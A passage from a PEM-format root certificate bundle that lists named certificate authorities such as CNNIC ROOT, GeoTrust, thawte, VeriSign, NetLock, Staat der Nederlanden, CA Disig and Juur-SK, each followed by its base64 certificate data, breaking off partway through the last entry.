MIIDVTCCAj2gAwIBAgIESTMAATANBgkqhkiG9w0BAQUFADAyMQswCQYDVQQGEwJDTjEOMAwGA1UE ChMFQ05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1QwHhcNMDcwNDE2MDcwOTE0WhcNMjcwNDE2MDcw OTE0WjAyMQswCQYDVQQGEwJDTjEOMAwGA1UEChMFQ05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1Qw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDTNfc/c3et6FtzF8LRb+1VvG7q6KR5smzD o+/hn7E7SIX1mlwhIhAsxYLO2uOabjfhhyzcuQxauohV3/2q2x8x6gHx3zkBwRP9SFIhxFXf2tiz VHa6dLG3fdfA6PZZxU3Iva0fFNrfWEQlMhkqx35+jq44sDB7R3IJMfAw28Mbdim7aXZOV/kbZKKT VrdvmW7bCgScEeOAH8tjlBAKqeFkgjH5jCftppkA9nCTGPihNIaj3XrCGHn2emU1z5DrvTOTn1Or czvmmzQgLx3vqR1jGqCA2wMv+SYahtKNu6m+UjqHZ0gNv7Sg2Ca+I19zN38m5pIEo3/PIKe38zrK y5nLAgMBAAGjczBxMBEGCWCGSAGG+EIBAQQEAwIABzAfBgNVHSMEGDAWgBRl8jGtKvf33VKWCscC wQ7vptU7ETAPBgNVHRMBAf8EBTADAQH/MAsGA1UdDwQEAwIB/jAdBgNVHQ4EFgQUZfIxrSr3991S lgrHAsEO76bVOxEwDQYJKoZIhvcNAQEFBQADggEBAEs17szkrr/Dbq2flTtLP1se31cpolnKOOK5 Gv+e5m4y3R6u6jW39ZORTtpC4cMXYFDy0VwmuYK36m3knITnA3kXr5g9lNvHugDnuL8BV8F3RTIM O/G0HAiw/VGgod2aHRM2mm23xzy54cXZF/qD1T0VoDy7HgviyJA/qIYM/PmLXoXLT1tLYhFHxUV8 BS9BsZ4QaRuZluBVeftOhpm4lNqGOGqTo+fLbuXf6iFViZx9fX+Y9QCJ7uOEwFyWtcVG6kbghVW2 G8kS1sHNzYDzAgE8yGnLRUhj2JTQ7IUOO04RZfSCjKY9ri4ilAnIXOo8gV0WKgOXFlUJ24pBgp5m mxE= -----END CERTIFICATE----- ApplicationCA - Japanese Government =================================== -----BEGIN CERTIFICATE----- MIIDoDCCAoigAwIBAgIBMTANBgkqhkiG9w0BAQUFADBDMQswCQYDVQQGEwJKUDEcMBoGA1UEChMT SmFwYW5lc2UgR292ZXJubWVudDEWMBQGA1UECxMNQXBwbGljYXRpb25DQTAeFw0wNzEyMTIxNTAw MDBaFw0xNzEyMTIxNTAwMDBaMEMxCzAJBgNVBAYTAkpQMRwwGgYDVQQKExNKYXBhbmVzZSBHb3Zl cm5tZW50MRYwFAYDVQQLEw1BcHBsaWNhdGlvbkNBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAp23gdE6Hj6UG3mii24aZS2QNcfAKBZuOquHMLtJqO8F6tJdhjYq+xpqcBrSGUeQ3DnR4 fl+Kf5Sk10cI/VBaVuRorChzoHvpfxiSQE8tnfWuREhzNgaeZCw7NCPbXCbkcXmP1G55IrmTwcrN wVbtiGrXoDkhBFcsovW8R0FPXjQilbUfKW1eSvNNcr5BViCH/OlQR9cwFO5cjFW6WY2H/CPek9AE jP3vbb3QesmlOmpyM8ZKDQUXKi17safY1vC+9D/qDihtQWEjdnjDuGWk81quzMKq2edY3rZ+nYVu nyoKb58DKTCXKB28t89UKU5RMfkntigm/qJj5kEW8DOYRwIDAQABo4GeMIGbMB0GA1UdDgQWBBRU WssmP3HMlEYNllPqa0jQk/5CdTAOBgNVHQ8BAf8EBAMCAQYwWQYDVR0RBFIwUKROMEwxCzAJBgNV BAYTAkpQMRgwFgYDVQQKDA/ml6XmnKzlm73mlL/lupwxIzAhBgNVBAsMGuOCouODl+ODquOCseOD vOOCt+ODp+ODs0NBMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADlqRHZ3ODrs o2dGD/mLBqj7apAxzn7s2tGJfHrrLgy9mTLnsCTWw//1sogJhyzjVOGjprIIC8CFqMjSnHH2HZ9g /DgzE+Ge3Atf2hZQKXsvcJEPmbo0NI2VdMV+eKlmXb3KIXdCEKxmJj3ekav9FfBv7WxfEPjzFvYD io+nEhEMy/0/ecGc/WLuo89UDNErXxc+4z6/wCs+CZv+iKZ+tJIX/COUgb1up8WMwusRRdv4QcmW dupwX3kSa+SjB1oF7ydJzyGfikwJcGapJsErEU4z0g781mzSDjJkaP+tBXhfAx2o45CsJOAPQKdL rosot4LKGAfmt1t06SAZf7IbiVQ= -----END CERTIFICATE----- GeoTrust Primary Certification Authority - G3 ============================================= -----BEGIN CERTIFICATE----- MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA4IEdlb1RydXN0 IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIz NTk1OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAo YykgMjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMT LUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBANziXmJYHTNXOTIz+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5j K/BGvESyiaHAKAxJcCGVn2TAppMSAmUmhsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdE c5IiaacDiGydY8hS2pgn5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3C IShwiP/WJmxsYAQlTlV+fe+/lEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exALDmKu dlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZChuOl1UcCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMR5yo6hTgMdHNxr 2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IBAQAtxRPPVoB7eni9n64smefv2t+UXglpp+duaIy9 cr5HqQ6XErhK8WTTOd8lNNTBzU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbE Ap7aDHdlDkQNkv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUHSJsMC8tJP33s t/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2Gspki4cErx5z481+oghLrGREt -----END CERTIFICATE----- thawte Primary Root CA - G2 =========================== -----BEGIN CERTIFICATE----- MIICiDCCAg2gAwIBAgIQNfwmXNmET8k9Jj1Xm67XVjAKBggqhkjOPQQDAzCBhDELMAkGA1UEBhMC VVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjE4MDYGA1UECxMvKGMpIDIwMDcgdGhhd3RlLCBJbmMu IC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3Qg Q0EgLSBHMjAeFw0wNzExMDUwMDAwMDBaFw0zODAxMTgyMzU5NTlaMIGEMQswCQYDVQQGEwJVUzEV MBMGA1UEChMMdGhhd3RlLCBJbmMuMTgwNgYDVQQLEy8oYykgMjAwNyB0aGF3dGUsIEluYy4gLSBG b3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIGA1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAt IEcyMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEotWcgnuVnfFSeIf+iha/BebfowJPDQfGAFG6DAJS LSKkQjnE/o/qycG+1E3/n3qe4rF8mq2nhglzh9HnmuN6papu+7qzcMBniKI11KOasf2twu8x+qi5 8/sIxpHR+ymVo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU mtgAMADna3+FGO6Lts6KDPgR4bswCgYIKoZIzj0EAwMDaQAwZgIxAN344FdHW6fmCsO99YCKlzUN G4k8VIZ3KMqh9HneteY4sPBlcIx/AlTCv//YoT7ZzwIxAMSNlPzcU9LcnXgWHxUzI1NS41oxXZ3K rr0TKUQNJ1uo52icEvdYPy5yAlejj6EULg== -----END CERTIFICATE----- thawte Primary Root CA - G3 =========================== -----BEGIN CERTIFICATE----- MIIEKjCCAxKgAwIBAgIQYAGXt0an6rS0mtZLL/eQ+zANBgkqhkiG9w0BAQsFADCBrjELMAkGA1UE BhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2 aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDggdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EgLSBHMzAeFw0w ODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIGuMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMdGhh d3RlLCBJbmMuMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMTgwNgYD VQQLEy8oYykgMjAwOCB0aGF3dGUsIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIG A1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAtIEczMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEAsr8nLPvb2FvdeHsbnndmgcs+vHyu86YnmjSjaDFxODNi5PNxZnmxqWWjpYvVj2At P0LMqmsywCPLLEHd5N/8YZzic7IilRFDGF/Eth9XbAoFWCLINkw6fKXRz4aviKdEAhN0cXMKQlkC +BsUa0Lfb1+6a4KinVvnSr0eAXLbS3ToO39/fR8EtCab4LRarEc9VbjXsCZSKAExQGbY2SS99irY 7CFJXJv2eul/VTV+lmuNk5Mny5K76qxAwJ/C+IDPXfRa3M50hqY+bAtTyr2SzhkGcuYMXDhpxwTW vGzOW/b3aJzcJRVIiKHpqfiYnODz1TEoYRFsZ5aNOZnLwkUkOQIDAQABo0IwQDAPBgNVHRMBAf8E BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUrWyqlGCc7eT/+j4KdCtjA/e2Wb8wDQYJ KoZIhvcNAQELBQADggEBABpA2JVlrAmSicY59BDlqQ5mU1143vokkbvnRFHfxhY0Cu9qRFHqKweK A3rD6z8KLFIWoCtDuSWQP3CpMyVtRRooOyfPqsMpQhvfO0zAMzRbQYi/aytlryjvsvXDqmbOe1bu t8jLZ8HJnBoYuMTDSQPxYA5QzUbF83d597YV4Djbxy8ooAw/dyZ02SUS2jHaGh7cKUGRIjxpp7sC 8rZcJwOJ9Abqm+RyguOhCcHpABnTPtRwa7pxpqpYrvS76Wy274fMm7v/OeZWYdMKp8RcTGB7BXcm er/YB1IsYvdwY9k5vG8cwnncdimvzsUsZAReiDZuMdRAGmI0Nj81Aa6sY6A= -----END CERTIFICATE----- GeoTrust Primary Certification Authority - G2 ============================================= -----BEGIN CERTIFICATE----- MIICrjCCAjWgAwIBAgIQPLL0SAoA4v7rJDteYD7DazAKBggqhkjOPQQDAzCBmDELMAkGA1UEBhMC VVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA3IEdlb1RydXN0IElu Yy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFyeSBD ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMB4XDTA3MTEwNTAwMDAwMFoXDTM4MDExODIzNTk1 OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAoYykg MjAwNyBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMTLUdl b1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjB2MBAGByqGSM49AgEG BSuBBAAiA2IABBWx6P0DFUPlrOuHNxFi79KDNlJ9RVcLSo17VDs6bl8VAsBQps8lL33KSLjHUGMc KiEIfJo22Av+0SbFWDEwKCXzXV2juLaltJLtbCyf691DiaI8S0iRHVDsJt/WYC69IaNCMEAwDwYD VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBVfNVdRVfslsq0DafwBo/q+ EVXVMAoGCCqGSM49BAMDA2cAMGQCMGSWWaboCd6LuvpaiIjwH5HTRqjySkwCY/tsXzjbLkGTqQ7m ndwxHLKgpxgceeHHNgIwOlavmnRs9vuD4DPTCF+hnMJbn0bWtsuRBmOiBuczrD6ogRLQy7rQkgu2 npaqBA+K -----END CERTIFICATE----- VeriSign Universal Root Certification Authority =============================================== -----BEGIN CERTIFICATE----- MIIEuTCCA6GgAwIBAgIQQBrEZCGzEyEDDrvkEhrFHTANBgkqhkiG9w0BAQsFADCBvTELMAkGA1UE BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO ZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwOCBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVk IHVzZSBvbmx5MTgwNgYDVQQDEy9WZXJpU2lnbiBVbml2ZXJzYWwgUm9vdCBDZXJ0aWZpY2F0aW9u IEF1dGhvcml0eTAeFw0wODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIG9MQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAyMDA4IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxODA2BgNVBAMTL1ZlcmlTaWduIFVuaXZlcnNhbCBSb290IENlcnRpZmljYXRpb24gQXV0 aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx2E3XrEBNNti1xWb/1hajCMj 1mCOkdeQmIN65lgZOIzF9uVkhbSicfvtvbnazU0AtMgtc6XHaXGVHzk8skQHnOgO+k1KxCHfKWGP MiJhgsWHH26MfF8WIFFE0XBPV+rjHOPMee5Y2A7Cs0WTwCznmhcrewA3ekEzeOEz4vMQGn+HLL72 9fdC4uW/h2KJXwBL38Xd5HVEMkE6HnFuacsLdUYI0crSK5XQz/u5QGtkjFdN/BMReYTtXlT2NJ8I AfMQJQYXStrxHXpma5hgZqTZ79IugvHw7wnqRMkVauIDbjPTrJ9VAMf2CGqUuV/c4DPxhGD5WycR tPwW8rtWaoAljQIDAQABo4GyMIGvMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMG0G CCsGAQUFBwEMBGEwX6FdoFswWTBXMFUWCWltYWdlL2dpZjAhMB8wBwYFKw4DAhoEFI/l0xqGrI2O a8PPgGrUSBgsexkuMCUWI2h0dHA6Ly9sb2dvLnZlcmlzaWduLmNvbS92c2xvZ28uZ2lmMB0GA1Ud DgQWBBS2d/ppSEefUxLVwuoHMnYH0ZcHGTANBgkqhkiG9w0BAQsFAAOCAQEASvj4sAPmLGd75JR3 Y8xuTPl9Dg3cyLk1uXBPY/ok+myDjEedO2Pzmvl2MpWRsXe8rJq+seQxIcaBlVZaDrHC1LGmWazx Y8u4TB1ZkErvkBYoH1quEPuBUDgMbMzxPcP1Y+Oz4yHJJDnp/RVmRvQbEdBNc6N9Rvk97ahfYtTx P/jgdFcrGJ2BtMQo2pSXpXDrrB2+BxHw1dvd5Yzw1TKwg+ZX4o+/vqGqvz0dtdQ46tewXDpPaj+P wGZsY6rp2aQW9IHRlRQOfc2VNNnSj3BzgXucfr2YYdhFh5iQxeuGMMY1v/D/w1WIg0vvBZIGcfK4 mJO37M2CYfE45k+XmCpajQ== -----END CERTIFICATE----- VeriSign Class 3 Public Primary Certification Authority - G4 ============================================================ -----BEGIN CERTIFICATE----- MIIDhDCCAwqgAwIBAgIQL4D+I4wOIg9IZxIokYesszAKBggqhkjOPQQDAzCByjELMAkGA1UEBhMC VVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3 b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVz ZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmlj YXRpb24gQXV0aG9yaXR5IC0gRzQwHhcNMDcxMTA1MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCByjEL MAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBU cnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRo b3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5 IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAASnVnp8 Utpkmw4tXNherJI9/gHmGUo9FANL+mAnINmDiWn6VMaaGF5VKmTeBvaNSjutEDxlPZCIBIngMGGz rl0Bp3vefLK+ymVhAIau2o970ImtTR1ZmkGxvEeA3J5iw/mjgbIwga8wDwYDVR0TAQH/BAUwAwEB /zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEw HzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24u Y29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFLMWkf3upm7ktS5Jj4d4gYDs5bG1MAoGCCqGSM49BAMD A2gAMGUCMGYhDBgmYFo4e1ZC4Kf8NoRRkSAsdk1DPcQdhCPQrNZ8NQbOzWm9kA3bbEhCHQ6qQgIx AJw9SDkjOVgaFRJZap7v1VmyHVIsmXHNxynfGyphe3HR3vPA5Q06Sqotp9iGKt0uEA== -----END CERTIFICATE----- NetLock Arany (Class Gold) Főtanúsítvány ============================================ -----BEGIN CERTIFICATE----- MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQGEwJIVTERMA8G A1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3MDUGA1UECwwuVGFuw7pzw610 dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBB cmFueSAoQ2xhc3MgR29sZCkgRsWRdGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgx MjA2MTUwODIxWjCBpzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxO ZXRMb2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlmaWNhdGlv biBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNzIEdvbGQpIEbFkXRhbsO6 c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCRec75LbRTDofTjl5Bu 0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrTlF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw /HpYzY6b7cNGbIRwXdrzAZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAk H3B5r9s5VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRGILdw fzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2BJtr+UBdADTHLpl1 neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAGAQH/AgEEMA4GA1UdDwEB/wQEAwIB BjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2MU9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwW qZw8UQCgwBEIBaeZ5m8BiFRhbvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTta YtOUZcTh5m2C+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2FuLjbvrW5Kfna NwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2XjG4Kvte9nHfRCaexOYNkbQu dZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E= -----END CERTIFICATE----- Staat der Nederlanden Root CA - G2 ================================== -----BEGIN CERTIFICATE----- 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 66+KAQ== -----END CERTIFICATE----- CA Disig ======== -----BEGIN CERTIFICATE----- MIIEDzCCAvegAwIBAgIBATANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQGEwJTSzETMBEGA1UEBxMK QnJhdGlzbGF2YTETMBEGA1UEChMKRGlzaWcgYS5zLjERMA8GA1UEAxMIQ0EgRGlzaWcwHhcNMDYw MzIyMDEzOTM0WhcNMTYwMzIyMDEzOTM0WjBKMQswCQYDVQQGEwJTSzETMBEGA1UEBxMKQnJhdGlz bGF2YTETMBEGA1UEChMKRGlzaWcgYS5zLjERMA8GA1UEAxMIQ0EgRGlzaWcwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQCS9jHBfYj9mQGp2HvycXXxMcbzdWb6UShGhJd4NLxs/LxFWYgm GErENx+hSkS943EE9UQX4j/8SFhvXJ56CbpRNyIjZkMhsDxkovhqFQ4/61HhVKndBpnXmjxUizkD Pw/Fzsbrg3ICqB9x8y34dQjbYkzo+s7552oftms1grrijxaSfQUMbEYDXcDtab86wYqg6I7ZuUUo hwjstMoVvoLdtUSLLa2GDGhibYVW8qwUYzrG0ZmsNHhWS8+2rT+MitcE5eN4TPWGqvWP+j1scaMt ymfraHtuM6kMgiioTGohQBUgDCZbg8KpFhXAJIJdKxatymP2dACw30PEEGBWZ2NFAgMBAAGjgf8w gfwwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUjbJJaJ1yCCW5wCf1UJNWSEZx+Y8wDgYDVR0P AQH/BAQDAgEGMDYGA1UdEQQvMC2BE2Nhb3BlcmF0b3JAZGlzaWcuc2uGFmh0dHA6Ly93d3cuZGlz aWcuc2svY2EwZgYDVR0fBF8wXTAtoCugKYYnaHR0cDovL3d3dy5kaXNpZy5zay9jYS9jcmwvY2Ff ZGlzaWcuY3JsMCygKqAohiZodHRwOi8vY2EuZGlzaWcuc2svY2EvY3JsL2NhX2Rpc2lnLmNybDAa BgNVHSAEEzARMA8GDSuBHpGT5goAAAABAQEwDQYJKoZIhvcNAQEFBQADggEBAF00dGFMrzvY/59t WDYcPQuBDRIrRhCA/ec8J9B6yKm2fnQwM6M6int0wHl5QpNt/7EpFIKrIYwvF/k/Ji/1WcbvgAa3 mkkp7M5+cTxqEEHA9tOasnxakZzArFvITV734VP/Q3f8nktnbNfzg9Gg4H8l37iYC5oyOGwwoPP/ CBUz91BKez6jPiCp3C9WgArtQVCwyfTssuMmRAAOb54GvCKWU3BlxFAKRmukLyeBEicTXxChds6K ezfqwzlhA5WYOudsiCUI/HloDYd9Yvi0X/vF2Ey9WLw/Q1vUHgFNPGO+I++MzVpQuGhU+QqZMxEA 4Z7CRneC9VkGjCFMhwnN5ag= -----END CERTIFICATE----- Juur-SK ======= -----BEGIN CERTIFICATE----- MIIE5jCCA86gAwIBAgIEO45L/DANBgkqhkiG9w0BAQUFADBdMRgwFgYJKoZIhvcNAQkBFglwa2lA c2suZWUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKExlBUyBTZXJ0aWZpdHNlZXJpbWlza2Vza3VzMRAw DgYDVQQDEwdKdXVyLVNLMB4XDTAxMDgzMDE0MjMwMVoXDTE2MDgyNjE0MjMwMVowXTEYMBYGCSqG SIb3DQEJARYJcGtpQHNrLmVlMQswCQYDVQQGEwJFRTEiMCAGA1UEChMZQVMgU2VydGlmaXRzZWVy aW1pc2tlc2t1czEQMA4GA1UEAxMHSnV1ci1TSzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC 